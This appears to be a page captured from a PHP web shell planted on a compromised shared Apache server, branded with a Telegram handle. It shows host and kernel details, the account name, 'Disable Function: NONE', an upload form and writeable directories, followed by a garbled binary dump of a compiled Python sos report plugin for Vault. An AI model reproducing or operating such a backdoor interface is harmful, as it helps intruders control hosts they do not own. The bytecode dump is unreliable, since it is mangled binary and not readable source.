https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/vault.cpython-310.pyc
o

-�_g��@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�UbuntuPluginc@s4eZdZdZdZdZdZdZdZdd�Z	dd	�Z
d
S)�Vaultz�The Vault plugin collects the current status of the vault
    snap on a Ubuntu machine.

    It will collect logs from journal, vault status and configuration
    z3Manage access to secrets and protect sensitive data�vault)�sysmgmt�security)rc
Cs�d}|�|�zEt|ddd��3}|����D]"}|sq|�d�}|d��dkr8|d�d	�}|jd
d|id�qWd�WdS1sEwYWdStyj}z|�d
|�d|���WYd}~dSd}~ww)N� /var/snap/vault/common/vault.hcl�rzUTF-8)�encoding�=r�api_addr�z" zvault status�
VAULT_ADDR)�envzCould not open conf file z: )	�
add_copy_spec�open�read�
splitlines�split�strip�add_cmd_output�IOError�
_log_error)�self�	vault_cfg�cfile�line�wordsr�error�r�:/usr/lib/python3/dist-packages/sos/report/plugins/vault.py�setups(

���&�	$��zVault.setupcCs|�ddd�dS)Nrz(password\s?=\s?).*z\1******)�do_file_sub)rrrr �postproc/s
�zVault.postprocN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�services�packager!r#rrrr rsrN)�sos.report.pluginsrrrrrrr �<module>s


https://t.me/RX1948 - 2025